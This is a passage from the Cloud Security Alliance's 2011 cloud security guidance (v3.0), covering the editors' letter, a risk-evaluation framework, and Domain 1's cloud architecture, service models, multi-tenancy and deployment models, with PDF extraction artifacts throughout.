Tushar Jain, M S Prasad, Damir S avanovic, Eiji Sasahara, Chad Woolf, Stefan Pettersson, M S Prasad, Nrupak Shah, Kimberley Laris, Henry St. Andre, Jim Peterson, Ariel Litvin, Tatsuya Kamimura, George Ferguson, Andrew Hay, Danielito Vizcayno, K.S. Abhiraj, Liam Lynch, Michael Marks, JP Mo rgenthal, Amol Godbole, Damu Kuttikrishnan, Rajiv Mishra, Dennis F. Poindexter, Neil Fryer, Andrea Bilobrk, Balaji Ramamoorthy, Damir Savanovic Editorial Team Archie Reed: Domains 3, 8, 9 SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 5 Chris Rezek: Domains 2, 4, 5, 7, 13, 14 Paul Simmonds: Domains 1, 6, 10, 11, 12 CSA Staff Technical Writer/Editor: Amy L. Van Antwerp Graphic Designer: Kendall Scoboria Research Director: J.R. Santos SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 6 LETTER FROM THE EDITORS Over the past three years, the C loud Security Alliance has attracted around 120 corporate members and has a broad remit to address all aspects of cloud security, including compliance, global security -related legislation and regulation, identity management, and the challenge of monitoring and auditing security across a cloud -based IT supply chain. CSA is becoming the focal point for security standards globally, aligning multiple, disparate government policies on cloud security and putting forward standards for ratification by international standards bodies. CSA sees itself as a cloud security standards incubator, so its research projects use rapid development techniques to produce fast results. To this end, the CSA Guidance editorial team is proud to present the third version of its flagship “Security Guidanc e for Critical Areas of Focus in Cloud Computing .” This work is a set of best security practices CSA has put together for 14 domains involved in governing or operating the cloud (Cloud Architecture, Governance and Enterprise Risk Management, Legal: Contracts and Electronic Discovery, Compliance and Audit, Information Management and Data Security, Portability and Interoperability, Traditional Security, Business Continuity and Disaster Recovery, Data Center Operations, Incident Response, Notification and Re mediation, Application Security, Encryption and Key Management, Identity and Access Management, Virtualization, and Security as a Service). CSA guidance in its third edition seeks to establish a stable, secure baseline for cloud operations. This effort p rovides a practical, actionable road map to managers wanting to adopt the cloud paradigm safely and securely. Domains have been rewritten to emphasize security, stability, and privacy, ensuring corporate privacy in a multi- tenant environment. Over the pas t two years, version 2.1 of the guidance has served as the foundation for research in multiple areas of cloud security. Deliverables now in use from the TCI Architecture to the GRC Stack were inspired by previous versions of the guidance, and it is our ho pe that this version will be no different. The guidance serves as a high level primer for chief executives, consumers, and implementers wishing to adopt cloud services as an alternative or supplement to traditional infrastructure. However, the guidance is designed with innovation in mind. Those with an entrepreneurial mindset should read this work with an eye toward the inferred services and approaches many of the authors have included in the domain creation. Investors and corporate decision makers will also find this work of interest , as it serves as a roadmap for innovation and development already in place in companies throughout the world. Security practitioners and educators will find elements of this book both authoritative and thought provoking, an d as the industry evolves, the value the authors have included should prove influential and timely. In the third edition, the guidance assumes a structural maturity in parallel with multinational cloud standards development in both structure and content. Version 3.0 extends the content included in previous versions with practical recommendations and requirements that can be measured and audited. Please note that different interpretations of the term "requirements" exist, which we use throughout the docum ent. Our guidance does not represent a statutory obligation, but "requirements" was chosen to represent guidance appropriate for virtually all use cases we could envision, and also aligns our guidance with similar well- accepted documents. CSA industry exp ert authors have endeavored to present a working product that is measured and balanced between the interests of cloud providers and tenants. Controls focus on the preservation of tenant data ownership integrity while embracing the concept of a s hared phys ical infrastructure. Guidance Version 3.0 incorporates the highly dynamic nature of cloud computing, industry learning curve, and new developments within other research projects such as Cloud Controls Matrix, Consensus Assessments Initiative, Trusted Clou d Initiative, and GRC Stack Initiative and ties in the various CSA activities into one comprehensive C -level best practice. The Security Guidance v3.0 will serve as the gateway to emerging standards being SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 7 developed in the world’s standards organization an d is designed to serve as an executive- level primer to any organization seeking a secure, stable transition to hosting their business operations in the cloud. On behalf of the Cloud Security Alliance, we would like to thank each and every volunteer for the ir time and effort in the development and editing of this new release of our flagship guidance document. While we believe this is our best, most widely reviewed work to date, the topic is still evolving and although our foremost intent is to guide, we als o intend to inspire the readers to become involved in improving and commenting on the direction those composing the body of work have outlined. We humbly and respectfully submit this effort to the industry and await the most important component of any dia log, your opinion. We are eager to hear your feedback regarding this updated guidance. If you found this guidance helpful or would like to see it improved, please consider joining the Cloud Security Alliance as a member or contributor. Best Regards, Paul Simmonds Chris Rezek Archie Reed Security Guidance v 3.0 Editors SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 8 AN EDITORIAL NOTE ON RISK Throughout this Guidance we make extensive recommendations on reducing your risk when adopting cloud computing, but not all the recommendations are necessa ry or even realistic for all cloud deployments. As we compiled information from the different working groups during the editorial process, we quickly realized there simply wasn’t enough space to provide fully nuanced recommendations for all possible risk s cenarios. Just as a critical application might be too important to move to a public cloud provider, there might be little or no reason to apply extensive security controls to low-value data migrating to cloud -based storage. With so many different cloud dep loyment options — including the SPI service models (SPI refers to Software as a Service, Platform as a Service, or Infrastructure as a Service, explained in depth in Domain 1); public vs. private deployments, internal vs. external hosting, and various hybr id permutations — no list of security controls can cover all circumstances. As with any security area, organizations should adopt a risk -based approach to moving to the cloud and selecting security options. The following is a simple framework to help evalu ate initial cloud risks and inform security decisions. This process is not a full risk assessment framework, nor a methodology for determining all your security requirements. It’s a quick method for evaluating your tolerance for moving an asset to various cloud computing models. Identify the Asset for the Cloud Deployment At the simplest, assets supported by the cloud fall into two general categories : 1. Data 2. Applications/Functions/Processes We are either moving information into the cloud, or transactions/processing (from partial functions all the way up to full applications). With cloud computing our data and applications don’t need to reside in the same location, and we can choose to shift only parts of functions to the cloud. For example, we can host our application and data in our own data center, while still outsourcing a portion of its functionality to the cloud through a Platform as a Service. The first step in evaluating risk for the cloud is to determine exactly what data or function is being considered for the cloud. This should include potential uses of the asset once it moves to the cloud to account for scope creep. Data and transaction volumes are often higher than expected. Evaluate the Asset The next step is to determine how important the data or function is to the organization. You don’t need to perform a detailed valuation exercise unless your organization has a process for that, but you do need at least a rough assessment of how sensitive an asset is, and how important an application/function/process is. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 9 For each asset, ask the following questions: 1. How would we be harmed if the asset became widely public and widely distributed? 2. How would we be harmed if an employee of our cloud provider accessed the asset? 3. How wou ld we be harmed if the process or function were manipulated by an outsider? 4. How would we be harmed if the process or function failed to provide expected results? 5. How would we be harmed if the information/data were unexpectedly changed? 6. How w ould we be harmed if the asset were unavailable for a period of time? Essentially we are assessing confidentiality, integrity, and availability requirements for the asset; and how the risk changes if all or part of the asset is handled in the cloud. It’s v ery similar to assessing a potential outsourcing project, except that with cloud computing we have a wider array of deployment options, including internal models. Map the Asset to Potential Cloud Deployment Models Now we should have an understanding of the asset’s importance. Our next step is to determine which deployment models we are comfortable with. Before we start looking at potential providers, we should know if we can accept the risks implicit to the various deployment models: private, public, commun ity, or hybrid; and hosting scenarios: internal, external, or combined. For the asset, determine if you are willing to accept the following options: 1. Public. 2. Private, internal/on -premises. 3. Private, external (including dedicated or shared infrastructure). 4. Community; taking into account the hosting location, potential service provider, and identification of other community members. 5. Hybrid. To effectively evaluate a potential hybrid deployment, you must have in mind at least a rough architecture of where components, functions, and data will reside. At this stage you should have a good idea of your comfort level for transitioning to the cloud, and which deployment models and locations fit your security and risk requirements. Evaluate Potential Cloud Service Models and Providers In this step focus on the degree of control you’ll have at each SPI tier to implement any required risk management. If you are evaluating a specific offering, at this point you might switch to a fuller risk asse ssment. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 10 Your focus will be on the degree of control you have to implement risk mitigations in the different SPI tiers. If you already have specific requirements (e.g., for handling of regulated data) you can include them in the evaluation. Map Out the Pot ential Data Flow If you are evaluating a specific deployment option, map out the data flow between your organization, the cloud service, and any customers/other nodes. While most of these steps have been high -level, before making a final decision it’s abso lutely essential to understand whether, and how, data can move in and out of the cloud. If you have yet to decide on a particular offering, you’ll want to sketch out the rough data flow for any options on your acceptable list. This is to insure that as yo u make final decisions, you’ll be able to identify risk exposure points. Conclusions You should now understand the importance of what you are considering moving to the cloud, your risk tolerance (at least at a high level), and which combinations of deploym ent and service models are acceptable. You should also have a good idea of potential exposure points for sensitive information and operations. These together should give you sufficient context to evaluate any other security controls in this Guidance. For l ow-value assets you don’t need the same level of security controls and can skip many of the recommendations — such as on -site inspections, discoverability, and complex encryption schemes. A high -value regulated asset might entail audit and data retention r equirements. For another high -value asset not subject to regulatory restrictions, you might focus more on technical security controls. Due to our limited space, as well as the depth and breadth of material to cover, this document contains extensive lists o f security recommendations. Not all cloud deployments need every possible security and risk control. Spending a little time up front evaluating your risk tolerance and potential exposures will provide the context you need to pick and choose the best option s for your organization and deployment. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 11 SECTION I // CLOUD ARCHITECTURE SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 12 DOMAIN 1 // CLOUD COMPUTING ARCHITECTURAL FRAMEWORK This domain, the Cloud Computing Architectural Framework, provides a conceptual framework for the rest of the Cloud Security Alliance’s guidance. The contents of this domain focus on a description of cloud computing that is specifically tailored to the unique perspective of IT network and security professionals. The final section of this domain provides a brief introdu ction to each of the other domains. Understanding the architectural framework described in this domain is an important first step in understanding the remainder of the Cloud Security Alliance guidance. The framework defines many of the concepts and terms used throughout the other domains. Overview. The following three sections define this architectural perspective in terms of:  The terminology used throughout the guidance, to provide a consistent lexicon  The architectural requirements and challenges for securing cloud applications and services  A reference model that describes a taxonomy of cloud services and architectures 1.1 What Is Cloud Computing? Cloud computing is a model for enabling ubiquitous, convenient, on -demand network access to a shared poo l of configurable computing resources (e.g., networks, servers, storage, applications, and services). Cloud computing is a disruptive technology that has the potential to enhance collaboration, agility, scaling, and availability, and provides the opportuni ties for cost reduction through optimized and efficient computing. The cloud model envisages a world where components can be rapidly orchestrated, provisioned, implemented and decommissioned, and scaled up or down to provide an on -demand utility -like mode l of allocation and consumption. From an architectural perspective, there is much confusion surrounding how cloud is both similar to and different from existing models of computing and how these similarities and differences impact the organizational, operational, and technological approaches to network and information security practices. There is a thin line between conventional computing and cloud computing. However, cloud computing will impact the organizational, operational, and technological approache s to data security, network security, and information security good practice. There are many definitions today that attempt to address cloud from the perspective of academicians, architects, engineers, developers, managers, and consumers. This document f ocuses on a definition that is specifically tailored to the unique perspectives of IT network and security professionals. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 13 1.2 What Comprises Cloud Computing? This version of the Cloud Security Alliance’s Guidance features definitions that are based on published work of the scientists at the U.S. National Institute of Standards and Technology ( NIST )1 and their efforts around defining cloud computing. NIST’s publication is generally well accepted, and the Guidance aligns with the NIST Working Definition of Cloud Computing (NIST 800 -145 as of this writing) to bring coherence and consensus around a common language to focus on use cases rather than semantic nuances. It is important to note that this guide is intended to be broadly usable and applicable to o rganizations globally. While NIST is a U.S. government organization, the selection of this reference model should not be interpreted to suggest the exclusion of other points of view or geographies. NIST defines cloud computing by describing five essentia l characteristics, three cloud service models, and four cloud deployment models. They are summarized in visual form in Figure 1 and explained in detail below. Figure 1—NIST Visual Model of Cloud Computing Definition2 1 NIST - National Institute of Standards and Technology SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 14 1.3 The Characteristics of Cloud Computing It is important to recognize that cloud services are often but not always utilized in conjunction with, and enabled by, virtualization technologies. There is no requirement, however, that ties the abstraction of resourc es to virtualization technologies, and in many offerings virtualization by hypervisor or operating system container is not utilized. Further, it should be noted that multi -tenancy is not called out as an essential cloud characteristic by NIST but is often discussed as such. Although not an essential characteristic of cloud computing in the NIST model, CSA has identified multi -tenancy as an important element of cloud. 1.4 Multi- Tenancy For this document multi tenancy is considered an important element, an d the following section will outline the CSA’s understanding/definition as an important element of cloud computing. Multi -tenancy in its simplest form implies use of same resources or application by multiple consumers that may be long to same organization or different organization. The impact of multi- tenancy is visibility of residual data or trace of operations by other user or tenant. Multi -tenancy in cloud service models implies a need for policy -driven enforcement, segmentatio n, isolation, governance, service levels, and chargeback/billing models for different consumer constituencies. Consumers may choose to utilize a public cloud providers’ service offering on an individual user basis or, in the instance Figure 2 —Multi -Tenancy SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 15 of private cloud hos ting, an organization may segment users as different business units sharing a common infrastructure. From a provider’s perspective, multi- tenancy suggests an ar chitectural and design approach to enable economies of scale, availability, management, segmentation, isolation, and operational efficiency. These services leverage shared infrastructure, data, metadata, services, and applications across many different co nsumers. Multi -tenancy can also take on different definitions depending upon the cloud service model of the provider; inasmuch as it may entail enabling the capabilities described above at the infrastructure, database, or application levels. An example wo uld be the difference between an Infrastructure -as-a-Service ( IaaS )2, Software -as-a-Service ( SaaS )3, and (PaaS )4 multi -tenant implementation. Cloud deployment models place different importance on m ulti-tenancy. However, even in the case of a private cloud, a single organization may have a multitude of third party consultants and contractors, as well as a desire for a high degree of logical separation between business units. Thus, multi -tenancy con cerns should always be considered. 1.5 Cloud Reference Model Understanding the relationships and dependencies between cloud computing model s is critical to understanding cloud computing security risks. IaaS is the foundation of all cloud services, with PaaS building upon IaaS, and SaaS in turn building upon PaaS as described in the Cloud Reference Model diagram. In this way, just as capabilities are inherited, so are information security issues and risk. It is important to note that commercial cloud providers may not neatly fit into the layered service models. Nevertheless, the reference model is important for relating real- world services to an architectural framework and understanding that the resources and services require security analysis. IaaS includes the entire infrastructure resource stack from the facilities to the hardware platforms that reside in them. It incorporates the capab ility to abstract resources (or not), as well as deliver physical and logical connectivity to those resources. Ultimately, IaaS provides a set of API’s5, which allows management and other forms of interaction with the infrastructure by consumers. 2 IaaS - Infrastructure as a Service 3 SaaS - Software as a Service 4 PaaS - Platform as a Service 5 API - Application Programming Interface Software as a service (SaaS) , sometimes referred to as "on -demand software," is a software delivery model in which software and its associated data are hosted centrally (typically in the (Internet) cloud) and are typically accessed by users using a thin client, normally using a web browser over the Internet. Platform as a service (PaaS) , is the delivery of a computing platform and solution stack as a service. PaaS offerings facilitate deployment of applications without the cost and complexity of buying and managing the underlying hardware and software and provisioning hosting capabilities . This provides all of the facilities required to support the complete life cycle of building and delivering web applications and services entirely available from the Internet. Infrastructure as a Service (IaaS) , delivers computer infrastructure (typically a platform virtualization environment) as a service, along with raw storage and networking. Rather than purchasing servers, software, data -center space, or network equipment, clients instead buy those resources as a fully outsourced service. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 16 PaaS sit s on top of IaaS and adds an additional layer of integration with application development frameworks, middleware capabilities, and functions such as database, messaging, and queuing. These services allow developers to build applications on the platform wit h programming languages and tools that are supported by the stack. SaaS in turn is built upon the underlying IaaS and PaaS stacks and provides a self- contained operating environment that is used to deliver the entire user experience, including the content, its presentation, the application(s), and management capabilities. It should therefore be clear that there are significant trade -offs to each model in terms of integrated features, complexity versus openness (extensibility), and security. Generally, SaaS provides the most integrated functionality built directly into the offering, with the least consumer extensibility, and a relatively high level of integrated security (at least the provider bears a responsibility for security). PaaS is intended to enab le developers to build their own applications on top of the platform. As a result, it tends to be more extensible than SaaS, at the expense of customer -ready features. This tradeoff extends to security features and capabilities, where the built -in capabi lities are less complete, but there is more flexibility to layer on additional security. IaaS provides few if any application -like features, but enormous extensibility. This generally means less integrated security capabilities and functionality beyond p rotecting the infrastructure itself. This model requires that operating systems, applications, and content be managed and secured by the cloud consumer. The key takeaway for security architecture is that the lower down the stack the cloud service provider stops, the more security capabilities and management consumers are responsible for implementing and managing themselves. Service levels, security, governance, compliance, and liability expectations of the service and provider are contractually stipulated , managed to, and enforced, when a service level agreement ( SLA’s)6, is offered to the consumer. There are two types of SLA’s, negotiable and non -negotiable. In the absence of an SLA, the consumer administers all aspects of the cloud under its control. When a non -negotiable SLA is offered, the provider administers those portions stipulated in the agreement. In the case of PaaS or IaaS, it is usually the responsibility of the consumer’s system administrators to effectively manage the residual services sp ecified in the SLA, with some offset expected by the provider for securing the underlying platform and infrastructure components to ensure basic service availability and security. It should be clear in all cases that one can assign/transfer responsibility but not necessarily accountability. Narrowing the scope or specific capabilities and functionality within each of the cloud delivery models, or employing the functional coupling of services and capabilities across them, may yield derivative classification s. For example “Storage as a Service” is a specific sub -offering within the IaaS ‘family’. While a broader review of the growing set of cloud computing solutions is outside the scope of this document, the OpenCrowd Cloud Solutions taxonomy in the figure below provides an excellent starting point, however the CSA does not specifically endorse any of the solutions or companies shown below. It provides the below diagram to demonstrate the diversity of offerings available today. 6 SLA - Service Level Agreement SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 17 Figure 3 – OpenCrowd Taxonom y7 For an excellent overview of the many cloud computing use cases, the Cloud Computing Use Case Group produced a collaborative work to describe and define common cases and demonstrate the benefits of cloud, with their goal being to “...bring together cloud c onsumers and cloud vendors to define common use cases for cloud computing...and highlight 7 http://www.opencrowd.com/assets/images/views/views_cloud -tax-lrg.png SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 18 the capabilities and requirements that need to be standardized in a cloud environment to ensure interoperability, ease of integration, and portability.” 1.5.1 Cloud Security Reference Model The cloud security reference model addresses the relationships of these classes and places them in context with their relevant security controls and concerns. For organizations and individuals grappling with cloud computing for the first time, it is important to note the following to avoid potential pitfalls and confusion:  The notion of how cloud services are deployed is often used interchangeably with where they are provided, which can lead to confusion. Public or private clou ds may be described as external or internal, which may not be accurate in all situations.  The manner in which cloud services are consumed is often described relative to the location of an organization’s management or security perimeter (usually defined by the presence of a known demarc). While it is still important to understand where security boundaries lie in terms of cloud computing, the notion of a well - demarcated perimeter is an anachronistic concept for most organizations.  The re- perimeterization a nd the erosion of trust boundaries already happening in the enterprise is amplified and accelerated by cloud computing. Ubiquitous connectivity, the amorphous nature of information interchange, and the ineffectiveness of traditional static security contro ls which cannot deal with the dynamic nature of cloud services, all require new thinking with regard to cloud computing. The Jericho Forum8 has produced a considerable amount of material on the re - perimeterization of enterprise networks, including many c ase studies. The deployment and consumption modalities of cloud should be thought of not only within the context of ‘internal’ versus ‘external’ as they relate to the physical location of assets, resources, and information; but also by whom they are being consumed; and who is responsible for their governance, security, and compliance with policies and standards. This is not to suggest that the on - or off- premise location of an asset, a resource, or information does not affect the security and risk posture of an organization because they do — but to underscore that risk also depends upon:  The types of assets, resources, and information being managed  Who manages them and how  Which controls are selected and how they are integrated  Compliance issues For example, a LAMP9 stack deployed on Amazon’s AWS EC2 would be classified as a public, off- premise, third -party managed IaaS solution, even if the instances and applications/data contained within them were managed by the consumer or a third party. A cus tom application stack serving multiple business units, deployed on Eucalyptus under a 8 http:// www.jerichoforum.org 9 LAMP -Linux (operating system ), Apache HTTP Server , MySQL (database software ) and Perl/PHP/Python , the principal components to build a viable general purpose web server SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 19 corporation’s control, management, and ownership, could be described as a private, on -premise, self- managed SaaS solution. Both examples utilize the elastic scaling and self- service capabilities of cloud. The following table summarizes these points: Table 1 —Cloud Computing Deployment Models Another way of visualizing how combinations of cloud service models, deployment models, physical locations of resources, and att ribution of management and ownership, is the Jericho Forum’s Cloud Cube Model10, shown in the figure to the right : The Cloud Cube Model illustrates the many permutations available in cloud offerings today and presents four criteria/dimensions in order to differentiate cloud “ formations ” from one another and the manner of their provision, in order to understand how cloud computing affects the way in which security might be approached. The Cloud Cube Model also highlights the challenges of understanding and mapping cloud models to control frameworks and standards such as ISO/IEC 27002, which provides “...a series of guidelines and general principles for initiating, 10 http://www.opengroup.org/jericho/cloud_cube_model_v1.0.pdf Figure 4—Jericho Cloud Cube Model SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 20 implementing, maintain ing, and improving information security management within an organization.” The ISO/IEC 27002, section 6.2, “External Parties” control objective states: “…the security of the organization’s information and information processing facilities should not be re duced by the introduction of external party products or services…” As such, the differences in methods and responsibility for securing the three cloud service models mean that consumers of cloud services are faced with a challenging endeavor. Unless clou d providers can readily disclose their security controls and the extent to which they are implemented to the consumer and the consumer knows which controls are needed to maintain the security of their information, there is tremendous potential for misguide d risk management decisions and detrimental outcomes. First, one classifies a cloud service against the cloud architecture model. Then it is possible to map its security architecture as well as business, regulatory, and other compliance requirements against it as a gap -analysis exercise. The result determines the general “security” posture of a service and how it relates to an asset’s assurance and protection requirements. The figure below shows an example of how a cloud service mapping can be compared against a catalogue of compensating controls to determine which controls exist and which do not — as provided by the consumer, the cloud service provider, or a third party. T his can in turn be compared to a compliance framework or set of requirements such as PCI DSS, as shown. Figure 5 —Mapping the Cloud Model to the Security Control & Compliance SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 21 Once this gap analysis is complete, per the requirements of any regulatory or other compliance mandates, it becomes much easier to determine what needs to be done in order to feed back into a risk assessment framework. This, in turn, helps to determine ho w the gaps and ultimately risks should be addressed: accepted, transferred, or mitigated. It is important to note that the use of cloud computing as an operational model does not inherently provide for or prevent achieving compliance. The ability to comp ly with any requirement is a direct result of the service and deployment model utilized and the design, deployment, and management of the resources in scope. For an excellent overview of control frameworks which provides good illustrations of the generic c ontrol framework alluded to above, see the Open Security Architecture Group’s11 “landscape ” of security architecture patterns documentation, or the always useful and recently updated NIST 800 -53 revision 3 Recommended Security Controls for Federal Informati on Systems and Organizations security control catalogue. 1.5.2 What Is Security for Cloud Computing? Security controls in cloud computing are, for the most part, no different than security controls in any IT environment. However, because of the cloud service models employed, the operational models, and the technologies used to enable cloud services, cloud computing may present different risks to an organization than traditional IT solutions. An organization’s security posture is characterized by the maturity, effectiveness, and completeness of the risk- adjusted security controls implemented. These controls are implemented in one or more layers ranging from the facilities (physical security), to the network infrastructure (network security), to the IT s ystems (system security), all the way to the information and applications (application security). Additionally, controls are implemented at the people and process levels, such as separation of duties and change management, respectively. As described earlie r in this document, the security responsibilities of both the provider and the consumer greatly differ between cloud service models. Amazon’s AWS EC2 infrastructure as a service offering, as an example, includes vendor responsibility for security up to th e hypervisor, meaning they can only address security controls such as physical security, environmental security, and virtualization security. The consumer, in turn, is responsible for security controls that relate to the IT system (instance) including the operating system, applications, and data. The inverse is true for Salesforce.com’s customer resource management (CRM) SaaS offering. Because Salesforce.com provides the entire “ stack ,” the provider is not only responsible for the physical and environmen tal security controls, but it must also address the security controls on the infrastructure, the applications, and the data. This alleviates much of the consumer’s direct operational responsibility. There is currently no way for a naive consumer of cloud services to simply understand what exactly he/she is responsible for [though reading this guidance document should help], but there are efforts underway by the CSA and other bodies to define standards around cloud audit. One of the attractions of cloud com puting is the cost efficiencies afforded by economies of scale, reuse, and standardization. To bring these efficiencies to bear, cloud providers have to provide services that are flexible enough to serve the largest customer base possible, maximizing their addressable market. Unfortunately, integrating security into these solutions is often perceived as making them more rigid. 11 www.opensecurityarchitecture.org SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 22 This rigidity often manifests in the inability to gain parity in security control deployment in cloud environments compared to traditional IT. This stems mostly from the abstraction of infrastructure, and the lack of visibility and capability to integrate many familiar security controls, especially at the network layer. The figure below illustrates these issues: in SaaS environme nts the security controls and their scope are negotiated into the contracts for service; service levels, privacy, and compliance are all issues to be dealt with legally in contracts. In an IaaS offering, while the responsibility for securing the underlyin g infrastructure and abstraction layers belongs to the provider, the remainder of the stack is the consumer’s responsibility. PaaS offers a balance somewhere in between, where securing the platform falls onto the provider, but both securing the applicatio ns developed against the platform and developing them securely, belong to the consumer. Figure 6 —How Security Gets Integrated Understanding the impact of these differences between service models and how they are deployed is critical to managing the risk p osture of an organization. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 23 1.5.3 Beyond Architecture: The Areas of Critical Focus The thirteen other domains which comprise the remainder of the CSA guidance highlight areas of concern for cloud computing and are tuned to address both the strategic and tactical security ‘pain points’ within a cloud environment and can be applied to any combination of cloud service and deployment model. The domains are divided into two broad categories: governance and operations. The governance domains are broad and ad dress strategic and policy issues within a cloud computing environment, while the operational domains focus on more tactical security concerns and implementation within the architecture. Table 2a— Governance Domains DOMAIN GUIDANCE DEALING WITH… Governance and Enterprise Risk Management The ability of an organization to govern and measure enterprise risk introduced by cloud computing. Items such as legal precedence for agreement breaches, ability of user organizations to adequately assess risk of a cloud provider, responsibility to protect sensitive data when both user and provider may be at fault, and how international boundaries may affect these issues. Legal Issues: Contracts and Electronic Discovery Potential legal issues when using cloud co mputing. Issues touched on in this section include protection requirements for information and computer systems, security breach disclosure laws, regulatory requirements, privacy requirements, international laws, etc. Compliance and Audit Maintaining and proving compliance when using cloud computing. Issues dealing with evaluating how cloud computing affects compliance with internal security policies, as well as various compliance requirements (regulatory, legislative, and otherwise) are discussed here. This domain includes some direction on proving compliance during an audit. Information Management and Data Security Managing data that is placed in the cloud. Items surrounding the identification and control of data in the cloud, as well as compensating controls that can be used to deal with the loss of physical control when moving data to the cloud, are discussed here. Other items, such as who is responsible for data confidentiality, integrity, and availability are mentioned. Portability and Interoperability The ability to move data/services from one provider to another, or bring it entirely back in -house. Together with issues surrounding interoperability between providers. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 24 Table 2b - Operational Domains DOMAIN GUIDANCE DEALING WITH… Traditional Security, Business Continuity and Disaster Recovery How cloud computing affects the operational processes and procedures currently used to implement security, business continuity, and disaster recovery. The focus is to discuss and examine possible risks of cloud computing, in hopes of increasing dialogue and debate on the overwhelming demand for better enterprise risk management models. Further, the section touches on helping people to identify where cloud computing may assist in diminishing certain secu rity risks, or entails increases in other areas. Data Center Operations How to evaluate a provider’s data center architecture and operations. This is primarily focused on helping users identify common data center characteristics that could be detrimental to on -going services, as well as characteristics that are fundamental to long- term stability. Incident Response, Notification and Remediation Proper and adequate incident detection, response, notification, and remediation. This attempts to address items that should be in place at both provider and user levels to enable proper incident handling and forensics. This domain will help you understand the complexities the cloud brings to your current incident -handling program. Application Security Securing a pplication software that is running on or being developed in the cloud. This includes items such as whether it’s appropriate to migrate or design an application to run in the cloud, and if so, what type of cloud platform is most appropriate (SaaS, PaaS, o r IaaS). Encryption and Key Management Identifying proper encryption usage and scalable key management. This section is not prescriptive, but is more informational in discussing why they are needed and identifying issues that arise in use, both for prote cting access to resources as well as for protecting data. Identity and Access Management Managing identities and leveraging directory services to provide access control. The focus is on issues encountered when extending an organization’s identity into t he cloud. This section provides insight into assessing an organization’s readiness to conduct cloud -based Identity, Entitlement, and Access Management (IdEA). Virtualization The use of virtualization technology in cloud computing. The domain addresses items such as risks associated with multi- tenancy, VM isolation, VM co - residence, hypervisor vulnerabilities, etc. This domain focuses on the security issues surrounding system /hardware virtualization, rather than a more general survey of all forms of virtualization. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 25 Security as a Service Providing third party facilitated security assurance, incident management, compliance attestation, and identity and access oversight. Secur ity as a service is the delegation of detection, remediation, and governance of security infrastructure to a trusted third party with the proper tools and expertise. Users of this service gain the benefit of dedicated expertise and cutting edge technology in the fight to secure and harden sensitive business operations. 1.6 Cloud Deployment Models Regardless of the service model utilized (SaaS, PaaS, or IaaS ), there are four deployment models for cloud services with derivative variations that address specific requirements. It is important to note that there are derivative cloud deployment models emerging due to the maturation of market offerings and custome r demand. An example of such is virtual private clouds — a way of utilizing public cloud infrastructure in a private or semi- private manner and interconnecting these resources to the internal resources of a consumer ’s datacenter, usually via virtual private network (VPN) connectivity. The architectural mind -set used when designing “solutions” has clear implications on the future flexibility, security, and mobility of the resultant solution, as well as its collaborative capabilities. As a rule of thumb, pe rimeterized solutions are less effective than de- perimeterized solutions in each of the four areas. Careful consideration should also be given to the choice between proprietary and open solutions for similar reasons. Deployment models  Public Cloud. The cloud infrastructure is made available to the general public or a large industry group and is owned by an organization selling cloud services.  Private Cloud . The cloud infrastructure is operated solely for a single organization. It may be managed by the organization or by a third party and may be located on -premise or off- premise.  Community Cloud. The cloud infrastructure is shared by several organizations and supports a specific community that has shared concerns (e.g., mission, security requir ements, policy, or compliance considerations). It may be managed by the organizations or by a third party and may be located on -premise or off-premise.  Hybrid Cloud. The cloud infrastructure is a composition of two or more clouds (private, community, or public) that remain unique 